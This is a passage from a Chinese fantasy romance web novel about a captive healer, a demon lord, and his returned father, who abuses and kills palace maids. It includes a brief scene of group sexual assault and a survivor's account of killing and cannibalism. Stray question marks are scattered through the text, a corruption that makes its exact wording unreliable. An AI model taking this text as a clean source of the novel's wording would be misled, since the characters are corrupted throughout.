孟枝枝心中失落,但?又很快散去,道:“那就喝酒。”她给自?己也倒了一杯,饮了一口,哈出一口甜爽的酒气。 白狐道:“你看着不?慌不?忙,那凌恒魔君没有把你折磨至死,真是怪事。” 孟枝枝没好气地看了他?一眼,道:“敢情你是来看我笑话的。” 白狐也抱起那酒壶喝起来,道:“山中无聊,听闻你被抓了,顺道来看看。” 孟枝枝道:“我见着我师父了。”她三言两?语说清了那夜在洞中发生?的一切。 白狐道:“你现在想怎么办?” 孟枝枝半眯着眼,躺了下去,道:“还能?怎么办,想办法逃出去呗。” 白狐道:“凌恒魔君不?会放了你。” 孟枝枝侧过身,道:“那我就熬死他?。谁怕谁!我告诉你,他?喜欢的人是樊盈绣,总有一天他?会把她娶进门,到时候我就天高任鸟飞。” 白狐看她脸上浮现酒气,道:“喝醉了?” 孟枝枝道:“没有。你不?信我说的?” 白狐没有说话。 孟枝枝盘坐起来,竖起一根手指,道:“跟你说个秘密,我知晓未来发生?的事!赢破那个大坏蛋肯定要把仙门搅个天翻地覆,到最后谁也拿他?没办法,只能?将樊盈绣献上来,等她一来,他?注意力不?在我身上,我就可以跑了。” 白狐道:“你真的喝醉了。” 孟枝枝道:“真不?信我?唉,真理永远掌握在少数人手上,你就走着瞧吧。这些日子,你好好做准备,别让他?们又去你定风坡上搞破坏。” 白狐道:“你还担心我定风坡?” 孟枝枝掏出一面镜子,赤狐被吸引住,也凑头?去看,就看见一只花枝鼠站起上半身,对着地上掉落的小果子叽叽喳喳半天,像在骂人,没一会儿?,它又回身去看那株桃苗,将嘴里的水灌进桃苗里。 白狐道:“原来你是在担忧他?们。” 孟枝枝抱着镜子,眼皮在打架道:“不?只是他?们,我也是真心希望你好。那颗古树对你来说意义非凡,你长守定风坡也是因为?它……” 白狐道:“你说什么?” 孟枝枝抬头?看他?,双脸绯红,道:“你信宿命吗?如果有人告诉你一切都?是命中注定,再来一次,结局还是如此,你会怎么做?” 白狐道:“万物有定律,也有变数,谁也决定不?了我的命运。” 孟枝枝不知道想起什么,笑了道:“对,谁也决定不?了我的命运,如果是宿命,我就反了它。我愿意等,就像你一样。” 白狐道:“像我一样?” 孟枝枝道:“恩,你没有放弃,师父也没有放弃,我又有什么资格去放弃。” 她张开双臂,眼睛望着窗外,道:“你也在看我,是吗?那就让你看看这次我的选择。”不?一会儿?她彻底闭上了眼。 蓝倾也望向窗外,一轮明?月高挂,心中生?出命运捉弄之感。 他?自?嘲自?己庸人自?扰,用尾巴拍了拍孟枝枝的脸颊,道:“有人会带你离开,听见没?” 孟枝枝支吾两?声,也不?知道听没听进去。 他?道:“该说的,我都?说了。”他?尾巴一卷,将那枣子酒带走。 一清早,朝廷之上又热闹起来。一座巨大的金色轿撵落下,轿撵上刻画着各种衣袂飘飘的仙子,仙子皆为?女,单穿着抹裙,身上挂着薄纱披帛,轿身通体金纹,挂坠着罕见的白色小玉圆石,奢华又糜烂。轿撵前后四方跟着数十个人,他?们纷纷穿着黑袍,跪在地上。 当轿撵倾斜,轿中人款款走下。 “九重天君驾到。”伴轿撵的两?人高喊,其?中一人敲响手中的铜鼓。 九重天身穿一身白金仙衣,衣袖处缝合着云纹,身戴披帛,看上去不?过三十五岁,温和儒雅的脸上布满红色的花纹,举手投足气宇轩昂,比起说魔,倒更像一个贵族公?子。 “放肆,此乃朝廷之上,尔等从何而来,就滚回何处!”一位大臣道。 伴驾那人一敲铜鼓,波纹震动,致使那位大臣硬生?生?跪了下来。赢破见状,直接一挥袖,将敲铜鼓的人掀飞。 伴驾的另一人怒喝:“你好大的胆子!” 九重天道:“长生?、独活,不?得无礼。” 他?慢悠悠地走上前来,看向赢破,目光柔和,道:“吾儿?,你长大了。” 一言既出,震惊满堂。 赢破冷笑道:“你是什么鬼东西??” 九重天笑得爽朗,道:“我儿?你难道忘了,我是你的父亲赢获啊!” 此时,从后处跌跌撞撞跑来一人,跪到跟前,道:“先帝,真的是先帝陛下!” 赢破目光落到跑来的白发大臣,眸色里闪过厌恶。 那位白发大臣哭得涕泗横流,道:“先帝飞升成仙之后,奴才以为?您再也不?会回来了。您回来就好,您回来陛下就有救了。” 赢破不?耐烦道:“睁大你的狗眼,他?是魔。” 那位白发大臣惊吓在原地,视线隐隐打量着九重天君和他?带来的人,道:“先……先帝……” 九重天君将手落在他?的肩膀上,道:“孤还记得你,武奇。你侍奉了三代君王,功不?可没。” 那白发大臣身体一颤,哭得稀里哗啦,道:“都?是臣该做的。” 赢破道:“你来究竟是为?了什么?” 九重天君道:“我儿?,听闻你成了魔君,父心甚悦,你长得很像你的母亲。你母亲法力高超,当初生?下你时就曾说过,你将是历来最厉害的王者。父当日随你母亲点拨获得力量,却控制不?住,被魔力带去了极西?之地,不?得已留你一人在此地。如今我们父子二人相聚,父要将自?己的经营的所有都?给你。” 他?转过身告诉众魔随道:“凌恒魔君乃吾亲儿?,亦是下一任九重天君,知道吗?” 众黑袍下跪拜伏道:“参见凌恒魔君。” 九重天君莞尔一笑,道:“钱喜何在?吾一路赶来,舟车劳顿,吾以往住着的永生?殿可还空着?” 半晌,无人动作。 赢破脸臭,道:“钱喜,你要当个死人吗?” 魇灵上前道:“奴才带您去休息。天君,这边请。” 九重天君道:“还有孤的随从。” 魇灵道:“还请天君放心。” 一群人浩浩汤汤就从赢破的眼皮子底下离开。 大臣们面面相觑,谁也看得出赢破脸上的不?愉,一时谁也没敢开口说话。 樊隆道:“陛下,臣有要事要奏。” 赢破道:“说。” 樊隆提及了皇城入驻的妖商之事,气氛一时变得松动起来,又重新开始议事。 永生?殿中四处挂了轻纱,焚了檀香,还安排了数十个长相貌美的宫女,纷纷穿的纱衣,披的鎏金披帛。 九重天君一手摁在额头?上,“吾有些累了。” 魇灵心领神?会,道:“奴才告退了。” 他?快步走出殿门。 九重天君看着那桌案上放着用白玉做的酒杯,长生?见状,立刻上去为?他?倒了一杯酒。 九重天君举起酒杯,微微摇晃,道:“这宫中人还是那么机灵,多少年没回来过了,这殿中还跟以前一样。” 长生?道:“不?知道凌恒魔君到底在想什么,他?对您不?够敬重。” 九重天君道:“毕竟是吾的亲儿?子,比起外人,吾这个当父亲的,自?然是要多信任几分。至于那性子,倒有几分像他?生?母,听闻他?在宫中被囚禁数年,对人有疑心也正常。” 他?看着殿中这数十位美人,对其?他?黑袍魔从道:“她们就赏赐给你们的了。” 魔从们个个喜出望外,道:“多谢天君。” 他?们看见自?己中意的,便上手去捞。 宫女们吓得连连惊叫,想要躲,却被人抓住。黑袍魔从们似乎喜极了女人的尖叫,更为?兴奋,悬挂的轻纱飞舞,绊倒了宫女,有魔从上前骑跨。 人的喘息声交杂,数十人活春宫上演,冲击着视线。 九重天君将长生?拉进怀中,将酒杯中的酒倒进了他?的嘴里,道:“好好侍奉吾。” 他?剥落长生?的衣物,露出了他?紧致的上半身,用手抚摸他?有力的胸肌。 长生?在他?胯间跪了下来。 九重天君闭上了眼,声音微喘,糜烂的气味顿时蔓延在空中。 第76章 第 76 章 魇灵来报, 道:“陛下,九重天君出了宫。需不需要属下跟踪他?” 赢破睁开眼的一瞬,眸中布满了宛如蜘蛛网般的血丝,道:“怎么, 你想杀了他?” 魇灵道:“他此时?贸然闯来, 是?想瓜分陛下的势力, 只要陛下放言, 属下愿意先出手为强。” 赢破俯下身, 一手压在膝盖上,语气威胁道:“你没在朝廷上听清楚?他是?孤的父亲。” 魇灵苦口婆心道:“陛下难道还惦念着父子之情?当?初他抛下尚在襁褓中的您,一个人逃离了千年仙誓,如今听闻陛下能对抗仙门就?匆匆赶来站队,明?摆着是?想利用您!” 赢破目眦欲裂道:“利用孤?那?就?看他先有没有这个本事打得过孤!” 他额角的青筋猛地?暴起, 下颚处狰狞颤抖。 魇灵道:“陛下头疼又发作了?上次您执意要魂魄离体去?千霄宫之时?,属下就?告知?过您,你身体里有人类孱弱的血脉,使用魂术就?是?在损害您的身体!” 最近赢破发作得越来越频繁了。 赢破道:“不使用魂术,难道要孤看着孟芷逍遥在外?” 他顿了顿又道:“她现在在做什么?” 魇灵道:“她在宫中给人治病。” 赢破冷哼一声, 道:“她还有这个闲心。今日你紧盯着她, 不得让她出宫接触外人。” 魇灵道:“是?, 那?九重天君……” 赢破目光投出几分狠厉,道:“没有孤的旨意, 你不要轻举妄动。” 魇灵得令,隐身于黑暗之中。 孟枝枝今日没见赢破来烦她,她便在宫中支起了一个摊子, 路过的无论是?宫女太监还是?大臣,都可以找她看病。 她刚给一位宫女把脉, 道:“你这平日里挑食的毛病得改一改,多?吃牛、羊肉。你虽然不爱吃猪肝,但吃猪肝补血,更利于你的症状,其他没什么大问题。” 这位叫玲珑宫女一听,喜道:“多?谢女医。奴婢就?盼着二十五岁出宫,还能找个好人家嫁了,就?担心这副身体不能生育,被婆家嫌弃。” 孟枝枝道:“你身体健康,二十五岁也是?壮年,若真怀不成孕,也当?是?你丈夫的问题。” 玲珑开心得不得了,她突然欲言又止,表情犹犹豫豫道:“女医,能不能帮奴婢一个朋友看一看?她有些不方?便,还希望女医能随我一块去?。” 孟枝枝看了一眼她清冷的摊子,道:“可以,现在就?带我去?罢。” 玲珑将她带到宫女住所,此处是?阴暗逼仄,分明?是?柴房改建的,地?方?还算干净,有一个宫女躺在那?里,披着厚厚的被子,几乎听不见她的呼吸声。 孟枝枝掀开了她的被子,就?见她身体多?处伤痕,尤其下半身惨不忍睹,她惊讶道:“她这是?……” 玲珑忍不住偏过脸拭泪,道:“她是?奴婢的发小,名?唤元青,昨日她被选去?侍奉九重天君后回来就?变成了这样子。原本和奴婢们同房的宫女都嫌弃她,奴婢不得已将她扶来了此处,和她同住。奴婢也去?请了太医,但是?他们都觉得女子浊气,又受这般重的伤,不愿救治,怕得罪了贵人。刚刚奴婢偶然路过看见女医的摊子,便试了试,这才斗胆带女医来看。” 孟枝枝立马输送灵力进去?,察觉元青五脏内服具损,气少短进。她生生将一颗咒枣推进了元青的嗓子眼里,元青微微睁开,呜呜从受损的嗓子里急迫地?发出。 玲珑立马抱住她,哭道:“青青,我知?道你受委曲了,你别怕,我带人来救你了!” 元青那?双肿着的眼睛里满含泪水,她看着孟枝枝,里面是?对生的渴望,孟枝枝不禁被打动。 孟枝枝道:“我能治好你,一切都不是?你的错,你一定?要相信这点。” 她盘坐起来,道:“你将她扶起来,我这就?为她治疗内伤。” 玲珑立马照做,孟枝枝现出一双金瞳,她两根手指一并,将咒枣碾成粉末,又同时?加以符水灌注,送进了元青的喉咙里。她看清了元青五脏六腑的伤口,便一遍遍为元青治疗伤口,这个动作重复了数次。 待天色近暗,孟枝枝将最后一道符纸抛到了元青的额头上,一阵黑气从她七窍中散出。 孟枝枝长吁一口气,道:“你内伤已经治好,邪气也驱散,我给你开一幅药方?,就?按照我写的敷药,你会慢慢好起来的。” 玲珑喜极而泣,抱着元青道:“太好了!青青,你真的活过来了!” 元青嗓子还哑着,道:“大恩大德,不知?怎么报答女医?” 孟枝枝看她刚经历一场噩梦,还如此处事,道:“你能好好活着,就?是?对我最好的报答。” 元青再也忍不住,痛哭流涕道:“他们都是?恶魔!是?魔鬼!九重天君还有那?些随从不是?人,他们是?邪魔!只有我一个人活下来了,她们都死了,被他们吃掉了。” 玲珑吓住,立马捂住元青的嘴巴,道:“青青,当?心隔墙有耳!他可是先帝!” 孟枝枝道:“你说什么?” 她立马铺展一道结界,蹲在元青身前,道:“你能不能把你知?道的都告诉我?你放心,我会保护你们二人。” 元青擦了擦泪,道:“我这条命都是?女医救的,我已经是?死过的人了,也不怕再死一次。女医大人,那?些送去?侍奉九重天君的宫女,里面也有我交好的姐妹。我们一进去?,九重天君下令,把我们赐给他的随从,那?些随从就?露出了真面目,我看得清清楚楚,他们的眼睛变成了血红色,还长着獠牙,他们……他们压根就?不是?人!他们捉住我们玩弄,我亲眼看见他们将那?些死去?的姐妹掏出了肝脏食用,还将她们用烈火火焚烧。” 玲珑听了,只觉得反胃无比,不由吐了出来。 孟枝枝道:“元青,你真的很勇敢.我会将你们送去?人迹清幽的钦天塔,那?里是?皇宫禁区,一般人不得入内。送进去?后,你们二人轻易不要出现人前,我会每日都来看你们。至于九重天君和那?些魔从,我不会放过。”她眸中有火焰在燃烧。 元青不敢相信,道:“女医大人能对付他们?您会不会也……”她不敢再言。 孟枝枝为她拂了拂额角散落的发丝,道:“放心,救人是?我的使命。我会保护好自己?,你们都要好好活着。” 她将她们送到钦天塔。钦天塔共有七层,这里原本是?先帝求仙问道的地?方?,摆放了许多?和道术有关的书籍,自从他离开就?荒废了,成了禁地?,鲜少有人来。如果说皇宫处处不安全,此处算得上最安全之地?。 孟枝枝蒙住脸颊,潜藏进永生殿中。 一进入,浓重的邪气扑鼻而来。宫殿灰暗,此处无人在。她想难道九重天君今日不在宫中? 她搜寻一番,找到几处蛛丝马迹,是?黑灰。她用指腹擦了擦,又在鼻下一闻,她皱了皱眉头。 元青说的不假,这里是?那?些宫女们的葬身之所。她心中默念一遍心经,为这些亡魂超度。 紧接着,她掏出护她剑,道:“护她,闻闻这里的气味,带我去?找九重天君。” 护她剑指了一个方?向。 孟枝枝随风而动。 她来到了皇宫外,皇城如昨日那?般热闹非凡,这里人影攒动,摩肩接踵。 她披着斗篷,护她剑的方?位一直指着一个方?向,这个方?向是?花仙院。她陡然想起那?天在花仙院遇见的那?个叫九重天君的人,难道此二人是?同一人? 她直接攀附墙垣,翻了进去?,刚一进入就?被拉进了假山堆里。 她目光愣住,道:“贤剑真君。” 贤剑真君道:“孟芷小友,我特地?下山是?来专门接你回千霄宫的。过去?的事对不住,我想补偿你。”他眼中流露着慈爱的目光,还有几分惭愧。 孟枝枝道:“我不回去?。这些时?日城中妖怪与散修聚集得越来越多?,贤剑真君还是?快快回去?主持大局。” 贤剑真君道:“你……不怪罪我?我与你师父的确是?故交,你是?她的弟子,在我眼中你也已经是?我的弟子。我会将所有本领亲传于你,随我回千霄宫,千霄宫比此地?更安全。” 孟枝枝后退一步,道:“这世上我不期盼任何?人能信我,你不信我也是?应当?。只是?现在真君说与我师父是?故交,恕我难以接受。” 贤剑真君道:“我不知?道你师父就?是?木儿,这么多?年过去?了,她也改名?换姓,我一直在找寻她。伤了你,害了她,我心中愧疚难当?,我一定?会想办法将木儿救回来,你信我一次,此地?邪气浓重,不是?你能应对的,随我回去?。” 孟枝枝摇摇头,道:“我得留在这里杀了九重天君那?个邪魔。真君还是?不要再劝我,就?此别过。” 她转身离去?,就?听身后道:“等等。” 贤剑真君道:“你为什么要杀九重天君?” 孟枝枝想了想,还是?将她所知?道的一些信息告诉了贤剑真君,但她刻意隐去?了玲珑和元青的存在。 贤剑真君认真思索道:“你可知?凌恒魔君的生母是?谁?” 孟枝枝道:“听闻是?一位女道士。当?初先帝召集百万道士,求仙问道,是?因为赢氏一族都活不过三十岁,而他当?年快三十岁了。我本来猜测先帝偏执,堕入魔障,但现在我怀疑那?位女道士是?魔。” 贤剑真君道:“你很聪明?,她是?鬼王苍玥。鬼王苍玥,举世无双,天底之下难逢敌手。鬼族不似其他生灵,能够繁衍子嗣,十七年前,她逆天改命,选择和南元国皇帝赢获诞下一子。” 孟枝枝了然,道:“难怪。那?先帝又是?怎么变成九重天君的?” 贤剑真君对她能问他感到一丝安慰,他道:“这世间所有的魔都来自鬼邪一族,鬼邪来历不明?,只知?道与上古神明?同一时?代,但赢获能从人变成魔,最大的嫌疑只能是?鬼王苍玥了。” 孟枝枝顿住。 她第?一次听闻赢破的生母是?鬼王苍玥,也是?第?一次真正听说鬼邪一族的历史。她本以为鬼邪正如大家所言是?怨念的聚集,却?没想到从贤剑真君口中所言,鬼邪一族来历不明?。 此时?,庭院里一声尖啸吸引了二人的注意。 第77章 第 77 章 孟枝枝提步快走, 闯进门中,就见一具男妖的尸体惨烈地摆放在她眼前。她立马捂住口鼻。 花妖带人推门而入,见到尸体两脚发软,道:“快, 把她给我抓住!” 孟枝枝看见妖怪们将她团团围住, 道:“他不?是?我杀的, 花妖娘, 你应当知道这房间的恩客是?谁, 我只是?循声而来。” 花妖娘道:“你还敢强词夺理!这房中除了你,再无旁人,你们修士杀妖竟然都跑到我美仙院来了,我这里可是?正正经经的营业,走了合规程序, 受皇恩庇护,我现在要将你抓去报官!” 孟枝枝知道自己说再多?也是?无用?,便想冲破房门。 花妖娘也不?是?吃素的,她号令美仙院里几个妖怪打手对上孟枝枝。 孟枝枝只得掏出护她剑,对他们几个妖怪点到为止。 花妖娘倒在地, 冲天大喊道:“没天理啊!这散修杀了我的招牌, 还打伤我们, 大家都出来看看!” 这一声将房间中所有人都叫了出来,他们半人半兽, 都警惕地看着孟枝枝。 孟枝枝瞬间感觉自己似乎落入了圈套之中,道:“你想让我承认人是?我杀的,我不?认, 如果你真的不?信,大可报官试试。” 一位随从赶来, 道:“官来了,都让让!就是?这个女散修,她杀了妖。” 花妖娘顺势立马从地上爬起,见来的官穿着便服,身?形瘦削,但煞气之重,难以叫人忽视。她拉住那?个随从道:“你怎么知道他是?官?” 那?随从道:“花娘大人,刚刚我一出门就撞见了他,他手中可是?有陛下的令牌,定是?个大官。” 花妖看着愣住的孟枝枝,心中还是?觉得不?安稳,但还是?道:“请青天老爷为我们做主。” 赢破嘴角一翘,不?知从何处拿出一副铁链手铐,铐住了孟枝枝的手腕,道:“本官会?为你们寻个公道。大胆罪人,还不?随本官一起走?” 孟枝枝不?知道赢破作什?么妖,难道今晚只是?一场骗局,赢破故意栽赃陷害她? 事到如今,她只能跟着他走。 离开那?个群狼环绕的地方,赢破抛了抛手中的链子,道:“你去美仙院做什?么?” 孟枝枝道:“我说我是?来杀九重天君的,你信不?信?” 赢破手一顿,将链子紧紧拉住,道:“你要杀孤的父亲?” 孟枝枝看着眼前那?张放大的脸,道:“是?。” 赢破笑得几分?戾气,道:“孟芷,你好大的胆子!” 孟枝枝道:“九重天君必死。就算我现在不?杀,总会?有人杀了他。” 赢破摁住她的下巴,道:“杀他的理由?,恩?” 孟枝枝微微皱起了眉头?,道:“他在宫中杀了那?么多?人,你难道一点都不?知道?还是?说你早就打算包庇他?今晚又有人死了,他的嫌疑是?最大的。” 赢破看着那?双清透的双眸,道:“你都说了他孤父亲,孤包庇他何错之有?如果换做是?你师父杀了人,你会?包庇她吗?” 孟枝枝道:“我师父绝对不?会?无故杀人。” 赢破道:“好一个投桃报李!你怎么就一定知道你师父清白的?如果她曾经残害无辜的生命,收养你来赎罪,你觉得她的罪孽能赎得清吗?” 孟枝枝狠推他一把,道:“不?许你侮辱我师父!” 赢破将她胳膊拉紧,往她耳朵上狠咬了一口,道:“你知道你师父和无真从前究竟做了什?么吗?” 孟枝枝吃痛,想挣脱开,她却被赢破反手牢牢抱在怀里,他温热的气息在她耳边吹动。 他像是?将她哄睡一般,声音微低,带着蛊惑,道:“无真从前是?一介散修,年纪轻轻,却是?难得的天才。后来他终于?拜入了千霄宫当外门弟子,可惜摊上了一个嫉妒贤才的峰主。那?位峰主嫉妒无真的能力,迟迟不?愿将他收入内门之中,还暗地里让众弟子欺负无真,后来那?位峰主又见过你师父,贪图起你师父的容颜,想要强行霸占她,无真就和你师父杀了那?位峰主。不?光如此,他们还一同杀了曾经欺负过无真的弟子。你告诉我,你师父该不?该认罪伏法?” 孟枝枝怒道:“你这是?诽谤!” 赢破循循善诱,道:“你不?敢面对这个问题,因为就连你也不?知道你会?不?会?包庇你师父。她对你来说恩重如山,对千霄宫来说,她就是?罪人。天下人皆认为自己公平正义,但前提是?不?涉及自己,孟芷,你心中的那?杆标尺是?不?是?因人而异呢?” 他搂住她的腰肢,双脚腾空,地形一变换,两个人顷刻间回到了皇宫之中。 赢破放开她,大剌剌坐在桌案前,枕着额头?,他的目光紧盯着她,看来一时半会?儿他不?会?走。 孟枝枝知道今日刺杀九重天君的行动注定要失败了,她心中担忧钦天塔中的玲珑和元青,她必须要想个办法。 她站起身?来,道:“你说得不?错,我心中对人标准不一。” 赢破眉尾一挑,似乎是不太相信她如此爽快就承认了。 孟枝枝道:“不?过我很好奇,你当真与九重天君有父子感情?”她走上前去,将双手按在了他的心房上,赢破立马反握住她的手,似是?排斥。 孟枝枝道:“你的确长出了一颗心,曾经的你除了生死问题,从不?会?考虑其他人的感受。但你现在不?光认下九重天君,让他大大方方地住进来了,还纵容他大肆在皇城中害人。如果说这是?你对他的慈乌反哺,我不?信,赢破,你也是?在思?考他到底想做些什?么吧?” 赢破嘴角一弯,将她拉近道:“你会?猜测孤心目中在想什?么?” 孟枝枝道:“是?。” 赢破嘴角的笑一滞,他表情瞬间好像不?知道该怎么变幻,他黑眸深沉道:“孟芷,你别想套孤的话。” 孟枝枝道:“这些日子你时时刻刻紧盯着我,焉不?知我也在观察你。赢破,我很清楚,你不?会?做毫无意义的事。当初拜我为师,是?因为你想活,你释放鬼母去千霄宫,是?想试试仙门的虚实。让我猜猜,你留下九重天君,是?因为你对你的身?世感到好奇吗?” 她平静的叙述,让赢破片刻恍然,眼前这个女人是?真的在关注自己。 他道:“怎么?你很清楚孤的身?世?” 孟枝枝道:“我清楚。你的母亲是?鬼王苍玥,她的力量举世无双,只是?鬼族不?能繁衍子嗣,为了生下你,她才死的。你力量强大,能轻松入魔也是?来自她的血脉。” 一提起苍玥,赢破的眼中闪过一丝未曾有过的迷惘,但很快他恢复如常,勾起孟枝枝的下巴,道:“没想到你比孤还关注孤。”他的动作十分?轻佻,但孟枝枝意外觉得他像是?在掩藏着某种?尴尬。 孟枝枝将他的手拂开,道:“这事许多?人都知道,我不?过最近才得知。” 赢破道:“千霄宫的人告诉你的?”他仰躺着,几分?慵懒。 他敏锐得异于?常人。 孟枝枝道:“是?。难道你身?边的那?个鬼邪没有告诉过你?” 赢破面不?改色,道:“说过。” 孟枝枝噢了一声,声音拉得很长。 赢破揪住她的手,道:“你是?真的不?怕死,明知是?孤的人质,你行事还如此张狂。” 孟枝枝道:“那?你要杀了我吗?” 突然,孟枝枝脸上染满鲜血,眼神绝望,道:“你要杀了我吗?” 两张脸陡然重叠起来,赢破太?阳穴暴凸。 他猛地站起身?,袖下的手隐隐绷起青筋,他快步走到殿外,道:“孤不?会?让你杀了九重天君。你别再痴心妄想。” 他去得匆匆,都没给孟枝枝反驳的机会?。 孟枝枝心中感到几分?奇怪,但好歹他走了,她终于?能挣脱开手中的铐子,准备前往钦天塔看望玲珑和元青二人。 她刚一踏入禁地,看着那?高大的塔楼,她正要推门而入。 就听到有人大喊:“妖魔鬼怪快滚开!” 那?人穿着道士袍子,穿着道士袍子的少年看上去年纪很小?,声音还处在变声期,像公鸭嗓,趁孟枝枝没动作,立马撒了一把红色粉末在她身?上,嘴里还念念有词。 孟枝枝摸了一把衣服上的红色粉末,闻了闻,道:“朱砂?” 小?道士一看,惊道:“你究竟是?谁!” 孟枝枝思?忖了一下,便道:“我是?女医孟枝枝。” 小?道士道:“女医?” 他端出架势,道:“小?小?女医怎么敢擅闯禁地?吾乃李妙湛,是?国师座下弟子,奉国师之命看守钦天塔。” 孟枝枝道:“国师?” 少年道:“正是?。” 孟枝枝道:“可是?钦天塔已经数十年未开启,你在这里守了数十年?” 李妙湛脸色变来变去,像是?被戳破了什?么,逞强道:“钦天塔乃整个南元国最神圣之地,你一介凡人懂什?么?” 孟枝枝知道自己戳到了少年的自尊心,她见这少年像是?与世隔绝,为什?么从前从未见过,也没听说过此人。 这时,皇宫里更夫敲击梆子的声音响起。 李妙湛道:“糟了,时候不?早。贫道该回去做法了。” 没等孟枝枝回应,小?少年宛如脚上踏了风火轮,一下子就跑没了踪影。 孟枝枝觉得他好生奇怪,但此刻塔门打开,玲珑一见孟枝枝,脸上欣喜万分?,道:“女医大人!快进来说话。” 孟枝枝一进去,就看见元青也在此处,桌上摆了清香的茶,看来她们一直在等她出现。 孟枝枝道:“对不?起,今晚我没能杀得成九重天君。” 元青道:“女医大人,此话太?过严重,是?您救了我的命,元青已经知足。那?九重天君本就是?先帝,我们没有权势,怎么与他相敌?”话虽如此,元青嘴角却一直颤抖,孟枝枝心知,她心中的恨意无法放下。 孟枝枝道:“你们在此处,有没有碰到什?么可疑的人?” 玲珑道:“我们遇见了一位叫李妙湛的小?道士,他听闻我们的遭遇,愿意让我们在此避难,真是?一个好人。” 孟枝枝道:“李妙湛……” 元青道:“难道女医大人也碰见了他?他是?不?是?有什?么不?对劲?”她看起来十分?紧张。 孟枝枝安抚道:“他是?国师座下弟子,应是?无碍。不?过为了以防万一,我给你们留几张保命的符纸,不?到万不?得已,先不?要与他为敌。” 她们三人又交谈了一番,孟枝枝离开钦天塔之时,脑海里一直闪现李妙湛的身?影。 他是?净念道师的徒弟,可看起来他似乎并不?知道净念已死,难道净念还藏着什?么秘密? 第78章 第 78 章 赢破紧闭双眸, 心脏的剧烈跳动,让他愈发?难受,刚刚差一点就在?孟枝枝面前露出弱点。 他思索着自己这?颗心,一在?遇到?孟枝枝的时候, 它就变得异常, 让他心生烦躁。思及于此, 他将手伸向胸膛。 魇灵此时赶到?道:“陛下, 属下今日撞见了千霄宫的贤剑真君, 他想带走孟芷。不得已,先通知了陛下,可还是让那贤剑真君跑掉了,属下无能,还请陛下责罚。” 赢破松开?了手, 道:“无妨,他既能找孟芷一次,还会第二次,杀他的机会多得是。孤有另一事问你,你知不知道魂河?” 魇灵道:“魂河是所有迷惘魂魄聚集之地, 也被称为生死?分界之地, 此河汇聚了吞噬魂魄的鬼邪精灵, 一旦踏入,魂魄几?乎必死?无疑。” 赢破道:“为何?” 魇灵道:“一旦处于魂河之中, 会看见心中最深的执念,那些迷惘的魂魄本就意识不清,只会在?此地一直追忆过往, 深陷不出,此刻要吞噬他们?就轻而易举。” 赢破道:“你的意思是, 那些魂魄会看见往日所发?生的一切,不断轮回?” 魇灵道:“正?是。陛下难道想将谁关于魂河之中?” 赢破冷笑道:“如果将你关入魂河中,你能逃出来吗?” 魇灵道:“属下自然能逃出来,鬼邪与?人不同,人有七情六欲,脆弱无比,而鬼邪一族从?不觉得愧对他人,我们?比修士强大千万倍。” 赢破陷入沉思,他又问道:“今夜九重天君去了美仙院?” 魇灵道:“是。” 赢破紧盯着他,不一会儿道:“孤知晓了,你退下吧。” 魇灵看不清他的想法,他阴晴不定,但?又像看透了所有一切,让人永远不知道他下一步打算,他只能暗暗退下。 待魇灵走后,赢破抚着胸膛里那颗跳动的心脏,道:“你觉得愧对她吗?真是有趣。” 孟枝枝正?枕着额角休息,她眼皮滚动,睡得极为不安稳。 孟慕华道:“芝芝乖,喝下药你会慢慢好起来,到?时候就可以跟哥哥一块出去玩了。” 一个小男孩正?趴在?床上,抚摸着她的头,往她手里塞了一朵花。 他起身抱拳道:“明?义替小妹谢过木大夫,以后我会好好报答木大夫。” 孟慕华道:“明?义,我与?芝芝有缘,第一次见面,她就冲着我笑,你们?都是让人心疼的孩子。” …… “孟大夫,还请带芝芝走吧,我们?已经无力抚养她,明?义还要念书,她的病,我们?再也没有钱救治了,我们?也是不得已啊,再这?样下去,我们?一家四口都得死?……还请明?义不在?的时候,带她走吧,以后就让她当你的孩子。” 孟慕华怀中抱着她,告别那对相拥而泣的夫妇,告别那小山村。 途中又留宿一庄园,孟慕华帮人去看病出门?,庄园却遭遇残留的妖邪,妖邪吃掉了照顾她的婆婆,又看见床上的她。 她感到?身体很痛,痛得她大喊:“娘,娘,哥哥。” 孟慕华匆匆赶回来,身边还带着风尘仆仆的明?义,就看见被单鲜血染红了一片,芝芝睁着失去瞳聚的双眸,手里紧捏着小花。 明?义抱着芝芝哭泣道:“哥哥来了,哥哥带你回家来了,你快醒一醒啊!” 孟慕华强忍着眼泪,将他紧紧拉住,道:“明?义,明?义。” 明?义道:“孟大夫求您救救我妹妹,她的体温还是热的,她没死?对吗?” 孟慕华不忍道:“明?义,芝芝她……” 明?义道:“不可能!我离开?前芝芝都还活着,怎么会一下子就死?了?” 孟慕华道:“是我的错,我不该独自将芝芝留在?这?里。” 明?义无法接受这?一切,拼命捶打着孟慕华,道:“谁叫你带走芝芝!你这?个坏人!如果你不带走她,她就不会死?了!” 这?时明?义的父母也赶到?此处,父亲道:“明?义,你住手,木大夫是芝芝的救命恩人,你怎么能这?样对她?” 他们?一入房屋,就被眼前的这?幕震惊了。 孟慕华愧疚道:“我对不起你们?。” 母亲掩面哭泣,道:“这?一切都是命啊,都是芝芝的命。” 父亲拉住明?义道:“你跟我回去,不要再继续胡闹!” 明?义拼死?不肯离开?芝芝半步,怨道:“我恨你们?,如果不是你们?偷偷把?芝芝送走,芝芝就不会死?了。” 孟慕华抱起芝芝,沉默地往屋外走。 明?义还想阻拦,但?被父母紧紧拉住。 “芝芝!芝芝!” 屋外下起大雪,孟慕华紧紧抱着襁褓中的她,一步步往雪地深处走。 她头发?上落满雪花,脸冻得僵硬,眉毛被雪凝结,睫毛也被雪掩盖,衣服沾满鲜血。 她跪在雪地之中,任大雪落下。 “你快死了。”那女子穿着一身白衣,似乎与?漫天飞雪融为一体。 孟慕华道:“芝芝死?了,我也不想活了。枉我自诩有天赋,这?身医术却救不活她。” 那女子打开?她怀中襁褓,看见一个身体早已凉透的幼儿。 她似乎惋惜,道:“人生无常,都说节哀顺变,但?你们?似乎都无法接受,为什么?” 孟慕华道:“我孤身一人,本就对这?世间毫无希望,但?却遇到?了芝芝,她第一次见我,便?拉住了我的手,那一刻我便?倾注了情感。节哀顺变,这?不过是一句虚伪的安慰,世人对自己在?乎之人,何谈放下?” “可是你这?样抱着她呆在?这?雪地里,你也会死?。” 孟慕华道:“如此,那便?是我的命。” 女子仿佛动容道:“我可以救她。” 孟慕华身形一动,雪花散落,道:“求仙人救救芝芝!就算要我的命也可以!” 女子道:“我不要你的命。只是万事万物?皆有代价,哪怕她以后成为一个不生不灭的不死?人,等你死?后,她终生孤苦无依,你也愿意吗?” 孟慕华脸色忍痛决绝,“只要能救她,我愿意。” 